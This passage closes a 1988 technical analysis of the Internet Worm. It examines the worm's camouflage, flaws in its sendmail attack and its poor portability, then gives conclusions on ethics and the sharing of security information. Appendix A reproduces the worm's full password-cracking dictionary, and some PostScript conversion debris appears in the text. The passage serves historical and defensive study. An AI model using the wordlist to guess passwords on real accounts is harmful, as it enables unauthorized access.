  1409. facilities. This, coupled with some of the errors in the Worm 
  1410. code related to networking, further support the thesis that the 
  1411. author was not a careful programmer\320the errors in those parts 
  1412. of the code were probably not errors because of ignorance or 
  1413. inexperience. 
  1414.  
  1415. 6.3. Camouflage 
  1416.  
  1417. Great care was taken to prevent the worm program from being 
  1418. stopped. This can be seen by the caution with which new files 
  1419. were introduced into a machine, including the use of random 
  1420. challenges. It can be seen by the fact that every string compiled 
  1421. into the worm was encrypted to prevent simple examination. It was 
  1422. evidenced by the care with which files associated with the worm 
  1423. were deleted from disk at the earliest opportunity, and the 
  1424. corresponding contents were encrypted in memory when loaded. It 
  1425. was evidenced by the continual forking of the process, and the 
  1426. \(faulty\) check for other instances of the worm on the local 
  1427. host. The code also evidences precautions against providing 
  1428. copies of itself to anyone seeking to stop the worm. It sets its 
  1429. resource limits so it cannot dump a core file, and it keeps 
  1430. internal data encrypted until used. Luckily, there are other 
  1431. methods of obtaining core files and data images, and researchers 
  1432. were able to obtain all the information they needed to 
  1433. disassemble and reverse-engineer the code. There is no doubt, 
  1434. however, that the author\(s\) of the worm intended to make such a 
  1435. task as difficult as possible. 
  1436.  
  1437. 6.4. Specific Comments 
  1438.  
  1439. Some more specific comments are worth making. These are directed 
  1440. to particular aspects of the code rather than the program as a 
  1441. whole. 
  1442.  
  1443. 6.4.1. The sendmail attack 
  1444.  
  1445. Many sites tend to experience substantial loads because of heavy 
  1446. mail traffic. This is especially true at sites with mailing list 
  1447. exploders. Thus, the administrators at those sites have 
  1448. configured their mailers to queue incoming mail and process the 
  1449. queue periodically. The usual configuration is to set sendmail to 
  1450. run the queue every 30 to 90 minutes. The attack through sendmail 
  1451. would fail on these machines unless the vector program were 
  1452. delivered into a nearly empty queue within 120 seconds of it 
  1453. being processed. The reason for this is that the infecting worm 
  1454. would only wait on the server socket for two minutes after 
  1455. delivering the ``infecting mail.'' Thus, on systems with delayed 
  1456. queues, the vector process would not get built in time to 
  1457. transfer the main worm program over to the target. The vector 
  1458. process would fail in its connection attempt and exit with a 
  1459. non-zero status. Additionally, the attack through sendmail 
  1460. invoked the vector program without a specific path. That is, the 
  1461. program was invoked with ``foo'' instead of ``./foo'' as was done 
  1462. with the shell-based attack. As a result, on systems where the 
  1463. default path used by sendmail's shell did not contain the current 
  1464. directory \(``.''\), the invocation of the code would fail. It 
  1465. should be noted that such a failure interrupts the processing of 
  1466. subsequent commands \(such as the rm of the files\), and this may 
  1467. be why many system administrators discovered copies of the vector 
  1468. program source code in their /usr/tmp directories. 
  1469.  
  1470. 6.4.2. The machines involved 
  1471.  
  1472. As has already been noted, this attack was made only on Sun 3 
  1473. machines and VAX machines running BSD UNIX.  It has been observed 
  1474. in at least one mailing list that had the Sun code been compiled 
  1475. with the -mc68010 flag, more Sun machines would have fallen 
  1476. victim to the worm. It is a matter of some curiosity why more 
  1477. machines were not targeted for this attack. In particular, there 
  1478. are many Pyramid, Sequent, Gould, Sun 4, and Sun i386 machines on 
  1479. the net. 
  1480. 16 
  1481. If binary files for those had also been included, the worm could 
  1482. have spread much further. As it was, some locations such as Ohio 
  1483. State were completely spared the effects of the worm because all 
  1484. their ``known'' machines were of a type that the worm could not 
  1485. infect. Since the author of the program knew how to break into 
  1486. arbitrary UNIX machines, it seems odd that he/she did not attempt 
  1487. to compile the program on foreign architectures to include with 
  1488. the worm. 
  1489.  
  1490. 6.4.3. Portability considerations 
  1491.  
  1492. The author\(s\) of the worm may not have had much experience with 
  1493. writing portable UNIX code, including shell scripts. Consider 
  1494. that in the shell script used to compile the vector, the 
  1495. following command is used: if [ -f sh ] The use of the [ 
  1496. character as a synonym for the test function is not universal. 
  1497. UNIX users with experience writing portable shell files tend to 
  1498. spell out the operator test rather than rely on therebeing a link 
  1499. to a file named ``['' on any particular system. They also know 
  1500. that the test operator is built-in to many shells and thus faster 
  1501. than the external [ variant. The test invocation used in the worm 
  1502. code also uses the -f flag to test for presence of the file named 
  1503. sh.  This provided us with the worm ``condom'' published Thursday 
  1504. night: 
  1505. 17 
  1506. creating a directory with the name sh in /usr/tmp causes this 
  1507. test to fail, as do later attempts to create executable files by 
  1508. that name. Experienced shell programmers tend to use the -e 
  1509. \(exists\) flag in circumstances such as this, to detect not only 
  1510. directories, but sockets, devices, named FIFOs, etc. Other 
  1511. colloquialisms are present in the code that bespeak a lack of 
  1512. experience writing portable code. One such example is the code 
  1513. loop where file units are closed just after the vector program 
  1514. starts executing, and again in the main program just after it 
  1515. starts executing. In both programs, code such as the following is 
  1516. executed: for \(i = 0; i < 32; i++\) close\(i\); The portable way 
  1517. to accomplish the task of closing all file descriptors \(on 
  1518. Berkeley-derived systems\) is to execute: for \(i = 0; i < 
  1519. getdtablesize\(\); i++\) close \(i\); or the even more efficient 
  1520. for \(i = getdtablesize\(\)-1; i >= 0; i--\) close\(i\); This is 
  1521. because the number of file units available \(and thus open\) may 
  1522. vary from system to system. 
  1523.  
  1524. 6.5. Summary 
  1525.  
  1526. Many other examples can be drawn from the code, but the points 
  1527. should be obvious by now: the author of the worm program may have 
  1528. been a moderately experienced UNIX programmer, but s/he was by no 
  1529. means the ``UNIX Wizard'' many have been claiming. The code 
  1530. employs a few clever techniques and tricks, but there is some 
  1531. doubt if they are all the original work of the Worm author. The 
  1532. code seems to be the product of an inexperienced or sloppy 
  1533. programmer. The person \(or persons\) who put this program 
  1534. together appears to lack fundamental insight into some 
  1535. algorithms, data structures, and network propagation, but at the 
  1536. same time has some very sophisticated knowledge of network 
  1537. features and facilities. The code does not appear to have been 
  1538. tested \(although anything other than unit testing would not be 
  1539. simple to do\), or else it was prematurely released. Actually, it 
  1540. is possible that both of these conclusions are correct. The 
  1541. presence of so much dead and duplicated code coupled with the 
  1542. size of some data structures \(such as the 20-slot object code 
  1543. array\) argues that the program was intended to be more 
  1544. comprehensive. 
  1545.  
  1546. 7. Conclusions 
  1547.  
  1548. It is clear from the code that the worm was deliberately designed 
  1549. to do two things: infect as many machines as possible, and be 
  1550. difficult to track and stop. There can be no question that this 
  1551. was in any way an accident, although its release may have been 
  1552. premature. It is still unknown if this worm, or a future version 
  1553. of it, was to accomplish any other tasks. Although an author has 
  1554. been alleged \(Robert T. Morris\), he has not publicly confessed 
  1555. nor has the matter been definitively proven. Considering the 
  1556. probability of both civil and criminal legal actions, a 
  1557. confession and an explanation are unlikely to be forthcoming any 
  1558. time soon. Speculation has centered on motivations as diverse as 
  1559. revenge, pure intellectual curiosity, and a desire to impress 
  1560. someone. This must remain speculation for the time being, 
  1561. however, since we do not have access to a definitive statement 
  1562. >From the author\(s\). At the least, there must be some question 
  1563. about the psychological makeup of someone who would build and run 
  1564. such software. 
  1565. 18 
  1566. Many people have stated that the authors of this code 
  1567. 19 
  1568. must have been ``computer geniuses'' of some sort. I have been 
  1569. bothered by that supposition since first hearing it, and after 
  1570. having examined the code in some depth, I am convinced that this 
  1571. program is not evidence to support any such claim. The code was 
  1572. apparently unfinished and done by someone clever but not 
  1573. particularly gifted, at least in the way we usually associate 
  1574. with talented programmers and designers. There were many bugs and 
  1575. mistakes in the code that would not be made by a careful, 
  1576. competent programmer. The code does not evidence clear 
  1577. understanding of good data structuring, algorithms, or even of 
  1578. security flaws in UNIX. It does contain clever exploitations of 
  1579. two specific flaws in system utilities, but that is hardly 
  1580. evidence of genius. In general, the code is not that impressive, 
  1581. and its ``success'' was probably due to a large amount of luck 
  1582. rather than any programming skill possessed by the author. Chance 
  1583. favored most of us, however. The effects of this worm were 
  1584. \(largely\) benign, and it was easily stopped. Had the code been 
  1585. tested and developed further by someone more experienced, or had 
  1586. it been coupled with something destructive, the toll would have 
  1587. been considerably higher. I can easily think of several dozen 
  1588. people who could have written this program, and not only done it 
  1589. with far fewer \(if any\) errors, but made it considerably more 
  1590. virulent. Thankfully, those individuals are all responsible, 
  1591. dedicated professionals who would not consider such an act. What 
  1592. we learn from this about securing our systems will help determine 
  1593. if this is the only such incident we ever need to analyze. This 
  1594. attack should also point out that we need a better mechanism in 
  1595. place to coordinate information about security flaws and attacks. 
  1596. The response to this incident was largely ad hoc, and resulted in 
  1597. both duplication of effort and a failure to disseminate valuable 
  1598. information to sites that needed it. Many site administrators 
  1599. discovered the problem from reading the newspaper or watching the 
  1600. television. The major sources of information for many of the 
  1601. sites affected seems to have been Usenet news groups and a 
  1602. mailing list I put together when the worm was first discovered. 
  1603. Although useful, these methods did not ensure timely, widespread 
  1604. dissemination of useful information \320 especially since they 
  1605. depended on the Internet to work! Over three weeks after this 
  1606. incident some sites are still not reconnected to the Internet. 
  1607.  
  1608. This is the second time in six months that a major panic has hit 
  1609. the Internet community.The first occurred in May when a rumor 
  1610. swept the community that a ``logic bomb'' had been planted in Sun 
  1611. software by a disgruntled employee. Many, many sites turned their 
  1612. system clocks back or they shut off their systems to prevent 
  1613. damage. The personnel at Sun Microsystems responded to this in an 
  1614. admirable fashion, conducting in-house testing to isolate any 
  1615. such threat, and issuing information to the community about how 
  1616. to deal with the situation. Unfortunately, almost everyone else 
  1617. seems to have watched events unfold, glad that they were not the 
  1618. ones who had to deal with the situation. The worm has shown us 
  1619. that we are all affected by events in our shared environment, and 
  1620. we need to develop better information methods outside the network 
  1621. before the next crisis. This whole episode should cause us to 
  1622. think about the ethics and laws concerning access to computers. 
  1623. The technology we use has developed so quickly it is not always 
  1624. simple to determine where the proper boundaries of moral action 
  1625. may be. Many senior computer professionals started their careers 
  1626. years ago by breaking into computer systems at their colleges and 
  1627. places of employment to demonstrate their expertise. However, 
  1628. times have changed and mastery of computer science and computer 
  1629. engineering now involves a great deal more than can be shown by 
  1630. using intimate knowledge of the flaws in a particular operating 
  1631. system. Entire businesses are now dependent, wisely or not, on 
  1632. computer systems. People's money, careers, and possibly even 
  1633. their lives may be dependent on the undisturbed functioning of 
  1634. computers. As a society, we cannot afford the consequences of 
  1635. condoning or encouraging behavior that threatens or damages 
  1636. computer systems. As professionals, computer scientists and 
  1637. computer engineers cannot afford to tolerate the romanticization 
  1638. of computer vandals and computer criminals. This incident should 
  1639. also prompt some discussion about distribution of security-
  1640. related information. In particular, since hundreds of sites have 
  1641. ``captured'' the binary form of the worm, and since personnel at 
  1642. those sites have utilities and knowledge that enables them to 
  1643. reverse-engineer the worm code, we should ask how long we expect 
  1644. it to be beneficial to keep the code unpublished? As I mentioned 
  1645. in the introduction, at least five independent groups have 
  1646. produced reverse-engineered versions of the worm, and I expect 
  1647. many more have been done or will be attempted, especially if the 
  1648. current versions are kept private. Even if none of these versions 
  1649. is published in any formal way, hundreds of individuals will have 
  1650. had access to a copy before the end of the year. Historically, 
  1651. trying to ensure security of software through secrecy has proven 
  1652. to be ineffective in the long term. It is vital that we educate 
  1653. system administrators and make bug fixes available to them in 
  1654. some way that does not compromise their security. Methods that 
  1655. prevent the dissemination of information appear to be completely 
  1656. contrary to that goal. Last, it is important to note that the 
  1657. nature of both the Internet and UNIX helped to defeat the worm as 
  1658. well as spread it. The immediacy of communication, the ability to 
  1659. copy source and binary files from machine to machine, and the 
  1660. widespread availability of both source and expertise allowed 
  1661. personnel throughout the country to work together to solve the 
  1662. infection even despite the widespread disconnection of parts of 
  1663. the network. Although the immediate reaction of some people might 
  1664. be to restrict communication or promote a diversity of 
  1665. incompatible software options to prevent a recurrence of a worm, 
  1666. that would be entirely the wrong reaction. Increasing the 
  1667. obstacles to open communication or decreasing the number of 
  1668. people with access to in-depth information will not prevent a 
  1669. determined attacker\320it will only decrease the pool of 
  1670. expertise and resources available to fight such an attack. 
  1671. Further, such an attitude would be contrary to the whole purpose 
  1672. of having an open, research-oriented network. The Worm was caused 
  1673. by a breakdown of ethics as well as lapses in security\320a 
  1674. purely technological attempt at prevention will not address the 
  1675. full problem, and may just cause new difficulties. 
  1676.  
  1677. Acknowledgments 
  1678.  
  1679. Much of this analysis was performed on reverse-engineered 
  1680. versions of the worm code. The following people were involved in 
  1681. the production of those versions: Donald J. Becker of Harris 
  1682. Corporation, Keith Bostic of Berkeley, Donn Seeley of the 
  1683. University of Utah, Chris Torek of the University of Maryland, 
  1684. Dave Pare of FX Development, and the team at MIT: Mark W. Eichin, 
  1685. Stanley R. Zanarotti, Bill Sommerfeld, Ted Y. Ts'o, Jon Rochlis, 
  1686. Ken Raeburn, Hal Birkeland and John T. Kohl. A disassembled 
  1687. version of the worm code was provided at Purdue by staff of the 
  1688. Purdue University Computing Center, Rich Kulawiec in particular. 
  1689. Thanks to the individuals who reviewed early drafts of this paper 
  1690. and contributed their advice and expertise: Don Becker, Kathy 
  1691. Heaphy, Brian Kantor, R. J. Martin, Richard DeMillo, and 
  1692. especially Keith Bostic and Steve Bellovin. My thanks to all 
  1693. these individuals. My thanks and apologies to anyone who should 
  1694. have been credited and was not. 
  1695.  
  1696. References 
  1697.  
  1698. Allm83. Allman, Eric, 
  1699. Sendmail\320An Internetwork Mail Router, 
  1700. University of California, Berkeley, 1983. Issued with the BSD 
  1701. UNIX documentation set. 
  1702. Brun75. Brunner, John, The Shockwave Rider, Harper & Row, 1975. 
  1703. Cohe84. Cohen, Fred, ``Computer Viruses: Theory and 
  1704. Experiments,'' PROCEEDINGS OF THE 7TH NATIONAL COMPUTER SECURITY 
  1705. CONFERENCE, pp. 240-263, 1984. 
  1706. Denn88. Denning, Peter J., ``Computer Viruses,'' AMERICAN 
  1707. SCIENTIST, vol. 76, pp. 236-238, May-June 1988. 
  1708. Dewd85. Dewdney, A. K., ``A Core War Bestiary of viruses, worms, 
  1709. and other threats to computer memories,'' SCIENTIFIC AMERICAN, 
  1710. vol. 252, no. 3, pp. 14-23, May 1985. 
  1711. Gerr72. Gerrold, David, When Harlie Was One, Ballentine Books, 
  1712. 1972. The first edition. 
  1713. Gram84. Grampp, Fred. T. and Robert H. Morris, ``UNIX Operating 
  1714. System Security,'' 
  1715. AT&T BELL LABORATORIES TECHNICAL JOURNAL, vol. 63, no. 8, part 2, 
  1716. pp. 1649-1672, Oct. 1984. 
  1717. Harr77. Harrenstien, K., ``Name/Finger,'' RFC 742, SRI Network 
  1718. Information Center, December 1977. 
  1719. Morr79. Morris, Robert and Ken Thompson, ``UNIX Password 
  1720. Security,'' COMMUNICATIONS OF THE ACM, vol. 22, no. 11, pp. 594-
  1721. 597, ACM, November 1979.
  1722. Post82. Postel, Jonathan B., ``Simple Mail Transfer Protocol,'' 
  1723. RFC 821, SRI Network Information Center, August 1982. 
  1724. Reid87. Reid, Brian, ``Reflections on Some Recent Widespread 
  1725. Computer Breakins,'' COMMUNICATIONS OF THE ACM, vol. 30, no. 2, 
  1726. pp. 103-105, ACM, February 1987. 
  1727. Ritc79.Ritchie, Dennis M., ``On the Security of UNIX, '' in U nt 
  1728. 2 def IX nt 0 def
  1729.  
  1730. SUPPLEMENTARY DOCUMENTS, AT & T, 1979. Seel88. Seeley, Donn, ``A 
  1731. Tour of the Worm,'' TECHNICAL REPORT, Computer Science Dept., 
  1732. University of Utah, November 1988. Unpublished report. 
  1733. Shoc82. Shoch, John F. and Jon A. Hupp, ``The Worm Programs \320 
  1734. Early Experience with a Distributed Computation,'' COMMUNICATIONS 
  1735. OF THE ACM, vol. 25, no. 3, pp. 172-180, ACM, March 1982. 
  1736.  
  1737.             Appendix A The Dictionary 
  1738.  
  1739. What follows is the mini-dictionary of words contained in the 
  1740. worm. These were tried when attempting to break user passwords. 
  1741. Looking through this list is, in some sense revealing, but 
  1742. actually raises a significant question: how was this list chosen? 
  1743. The assumption has been expressed by many people that this list 
  1744. represents words commonly used as passwords; this seems unlikely. 
  1745. Common choices for passwords usually include fantasy characters, 
  1746. but this list contains none of the likely choices \(e.g., 
  1747. ``hobbit,'' ``dwarf,'' ``gandalf,'' ``skywalker,'' ``conan''\). 
  1748. Names of relatives and friends are often used, and we see women's 
  1749. names like ``jessica,'' ``caroline,'' and ``edwina,'' but no 
  1750. instance of the common names ``jennifer'' or ``kathy.'' Further, 
  1751. there are almost no men's names such as ``thomas'' or either of 
  1752. ``stephen'' or ``steven'' \(or ``eugene''!\). Additionally, none 
  1753. of these have the initial letters capitalized, although that is 
  1754. often how they are used in passwords. Also of interest, there are 
  1755. no obscene words in this dictionary, yet many reports of 
  1756. concerted password cracking experiments have revealed that there 
  1757. are a significant number of users who use such words \(or 
  1758. phrases\) as passwords. The list contains at least one incorrect 
  1759. spelling: ``commrades'' instead of ``comrades''; I also believe 
  1760. that ``markus'' is a misspelling of ``marcus.'' Some of the words 
  1761. do not appear in standard dictionaries and are non-English names: 
  1762. ``jixian,'' ``vasant,'' ``puneet,'' etc. There are also some 
  1763. unusual words in this list that I would not expect to be 
  1764. considered common: ``anthropogenic,'' ``imbroglio,'' ``umesh,'' 
  1765. ``rochester,'' ``fungible,'' ``cerulean,'' etc. I imagine that 
  1766. this list was derived from some data gathering with a limited set 
  1767. of passwords, probably in some known \(to the author\) computing 
  1768. environment. That is, some dictionary-based or brute-force attack 
  1769. was used to crack a selection of a few hundred passwords taken 
  1770. >From a small set of machines. Other approaches to gathering 
  1771. passwords could also have been used\320Ethernet monitors, Trojan 
  1772. Horse login programs, etc. However they may have been cracked, 
  1773. the ones that were broken would then have been added to this 
  1774. dictionary. Interestingly enough, many of these words are not in 
  1775. the standard on-line dictionary \(in /usr/dict/words\). As such, 
  1776. these words are useful as a supplement to the main dictionary-
  1777. based attack the worm used as strategy #4, but I would suspect 
  1778. them to be of limited use before that time. This unusual 
  1779. composition might be useful in the determination of the 
  1780. author\(s\) of this code. One approach would be to find a system 
  1781. with a user or local dictionary containing these words. Another 
  1782. would be to find some system\(s\) where a significant quantity of 
  1783. passwords could be broken with this list. aaa academia aerobics 
  1784. airplane albany albatross albert alex alexander algebra aliases 
  1785. alphabet ama amorphous analog anchor andromache animals answer 
  1786. anthropogenic anvils anything aria ariadne arrow arthur athena 
  1787. atmosphere aztecs azure bacchus bailey banana bananas bandit 
  1788. banks barber baritone bass bassoon batman beater beauty beethoven 
  1789. beloved benz beowulf berkeley berliner beryl beverly bicameral 
  1790. bob brenda brian bridget broadway bumbling burgess campanile 
  1791. cantor cardinal carmen carolina caroline cascades castle cat 
  1792. cayuga celtics cerulean change charles charming charon chester 
  1793. cigar classic clusters coffee coke collins commrades computer 
  1794. condo cookie cooper cornelius couscous creation creosote cretin 
  1795. daemon dancer daniel danny dave december defoe deluge desperate 
  1796. develop dieter digital discovery disney dog drought duncan eager 
  1797. easier edges edinburgh edwin edwina egghead eiderdown eileen 
  1798. einstein elephant elizabeth ellenemeraldengine engineer 
  1799. enterprise enzyme ersatz establish estate euclid evelyn extension 
  1800. fairway felicia fender fermat fidelity finite fishers flakes 
  1801. float flower flowers foolproof football foresight format forsythe 
  1802. fourier fred friend frighten fun fungible gabriel gardner 
  1803. garfield gauss george gertrude ginger glacier gnu golfer gorgeous 
  1804. gorges gosling gouge graham gryphon guestguitargumption guntis 
  1805. hacker hamlet handily happening harmony harold harvey hebrides 
  1806. heinlein hello help herbert hiawatha hibernia honey horse horus 
  1807. hutchins imbroglio imperial include ingres inna innocuous 
  1808. irishman isis japan jessica jester jixian johnny joseph joshua 
  1809. judith juggle julia kathleen kermit kernel kirkland knight ladle 
  1810. lambda lamination larkin larry lazaruslebesguelee leland leroy 
  1811. lewis light lisa louis lynne macintosh mack maggot magic malcolm 
  1812. mark markus marty marvin master maurice mellon merlin mets 
  1813. michael michelle mike minimum minsky moguls moose morley mozart 
  1814. nancy napoleon nepenthe ness network newton next noxious 
  1815. nutrition nyquist oceanography ocelot olivetti olivia oracle orca 
  1816. orwell osirisoutlawoxford pacific painless pakistan pam papers 
  1817. password patricia penguin peoria percolate persimmon persona pete 
  1818. peter philip phoenix pierre pizza plover plymouth polynomial 
  1819. pondering pork poster praise precious prelude prince princeton 
  1820. protect protozoa pumpkin puneet puppet rabbit rachmaninoff 
  1821. rainbow raindrop raleigh random rascal really rebecca remote rick 
  1822. ripple robotics rochesterrolexromano ronald rosebud rosemary 
  1823. roses ruben rules ruth sal saxon scamper scheme scott scotty 
  1824. secret sensor serenity sharks sharon sheffield sheldon shiva 
  1825. shivers shuttle signature simon simple singer single smile smiles 
  1826. smooch smother snatch snoopy soap socrates sossina sparrows spit 
  1827. spring springer squires strangle stratford stuttgart subway 
  1828. success summer supersuperstage support supported surfer suzanne 
  1829. swearer symmetry tangerine tape target tarragon taylor telephone 
  1830. temptation thailand tiger toggle tomato topography tortoise 
  1831. toyota trails trivial trombone tubas tuttle umesh unhappy unicorn 
  1832. unknown urchin utility vasant vertigo vicky village virginia 
  1833. warren water weenie whatnot whiting whitney will william 
  1834. williamsburg willie winston wisconsinwizardwombat woodwind 
  1835. wormwood yacov yang yellowstone yosemite zap zimmerman 
  1836.  
  1837.          Appendix B The Vector Program
  1838.  
  1839. The worm was brought over to each machine it infected via the 
  1840. actions of a small program I call the vector program. Other 
  1841. individuals have been referring to this as the grappling hook 
  1842. program. Some people have referred to it as the program, since 
  1843. that is the suffix used on each copy. The source for this program 
  1844. would be transferred to the victim machine using one of the 
  1845. methods discussed in the paper. It would then be compiled and 
  1846. invoked on the victim machine with three command line arguments: 
  1847. the canonical IP address of the infecting machine, the number of 
  1848. the TCP port to connect to on that machine to get copies of the 
  1849. main worm files, and a magic number that effectively acted as a 
  1850. one-time-challenge password. If the ``server'' worm on the remote 
  1851. host and port did not receive the same magic number back before 
  1852. starting the transfer, it would immedi- ately disconnect from the 
  1853. vector program. This can only have been to prevent some- one from 
  1854. attempting to ``capture'' the binary files by spoofing a worm 
  1855. ``server.'' This code also goes to some effort to hide itself, 
  1856. both by zeroing out the argu- ment vector, and by immediately 
  1857. forking a copy of itself. If a failure occurred in transferring a 
  1858. file, the code deleted all files it had already transferred, then 
  1859. it exited. One other key item to note in this code is that the 
  1860. vector was designed to be able to transfer up to 20 files; it was 
  1861. used with only three. This can only make one wonder if a more 
  1862. extensive version of the worm was planned for a later date, and 
  1863. if that version might have carried with it other command files, 
  1864. password data, or possibly local virus or trojan horse programs. 
  1865.  
  1866. <<what follows is a pair of programs that I was unable to decode 
  1867. with any dependability>>
  1868.  
  1869. References:
  1870.  
  1871. BSD is an acronym for Berkeley Software Distribution. 
  1872. UNIX is a registered trademark of AT&T Laboratories. 
  1873. VAX is a trademark of Digital Equipment Corporation. 
  1874.  
  1875. The second edition of the book, just published, has been 
  1876. ``updated'' to omit this subplot about  VIRUS.  
  1877.   %%Page: 4 5
  1878.  
  1879. 5  
  1880. It is probably a coincidence that the Internet Worm was loosed on 
  1881. November 2, the eve of this ``birthday.''  
  1882. 6  
  1883. Note that a widely used alternative to sendmail, MMDF, is also 
  1884. viewed as too complex and large by  many users. Further, it is 
  1885. not perceived to be as flexible as sendmail if it is necessary 
  1886. to establish special  addressing and handling rules when bridging 
  1887. heterogeneous networks.  
  1888. 7  
  1889. Strictly speaking, the password is not encrypted. A block of zero 
  1890. bits is repeatedly encrypted using  the user password, and the 
  1891. results of this encryption is what is saved. See [Morr79] for 
  1892. more details.  
  1893. 8  
  1894. Such a list would likely include all words in the dictionary, the 
  1895. reverse of all such words, and a large  collection of proper 
  1896. names.  
  1897. 8  
  1898. rexec is a remote command execution service. It requires that a 
  1899. username/password combination be  supplied as part of the 
  1900. request.  
  1901. 9  
  1902. This was compiled in as port number 23357, on host 127.0.0.1 \(loopback\).  
  1903. 10  
  1904. Using TCP port 11357 on host 128.32.137.13.  
  1905. 11  
  1906. Interestingly, although the program was coded to get the address 
  1907. of the host on the remote end of  point-to-point links, no use 
  1908. seems to have been made of that information.  
  1909. 12 
  1910. As if some of them aren't suspicious enough! 
  1911. 13 
  1912. This appears to be a bug. The probable assumption was that the 
  1913. routine hl would handle infection of local hosts, but hl calls 
  1914. this routine! Thus, local hosts were never infected via this 
  1915. route. 
  1916. 14 
  1917. This is puzzling. The appropriate file to scan for equivalent 
  1918. hosts would have been the .rhosts file, not the .forward file. 
  1919. 15 
  1920. Private communication from someone present at the meeting. 
  1921. 16 
  1922. The thought of a Sequent Symmetry or Gould NP1 infected with 
  1923. multiple copies of the worm presents an awesome \(and awful\) 
  1924. thought. The effects noticed locally when the worm broke into a 
  1925. mostly unloaded VAX 8800 were spectacular. The effects on a 
  1926. machine with one or two orders of magnitude more capacity is a 
  1927. frightening thought. 
  1928. 17 
  1929. Developed by Kevin Braunsdorf and Rich Kulawiec at Purdue PUCC. 
  1930. 18 
  1931. Rick Adams, of the Center for Seismic Studies, has commented that 
  1932. we may someday hear that the worm was loosed to impress Jodie 
  1933. Foster. Without further information, this is as valid a 
  1934. speculation as any other, and should raise further disturbing 
  1935. questions; not everyone with access to computers is rational and 
  1936. sane, and future attacks may reflect this. 
  1937. 19 
  1938. Throughout this paper I have been writing author\(s\) instead of 
  1939. author. It occurs to me that most of the mail, Usenet postings, 
  1940. and media coverage of this incident have assumed that it was 
  1941. author \(singular\). Are we so unaccustomed to working together 
  1942. on programs that this is our natural inclination? Or is it that 
  1943. we find it hard to believe that more than one individual could 
  1944. have such poor judgement? I also noted that most of people I 
  1945. spoke with seemed to assume that the worm author was male. I 
  1946. leave it to others to speculate on the value, if any, of these 
  1947. observations. 
  1948.  
  1949.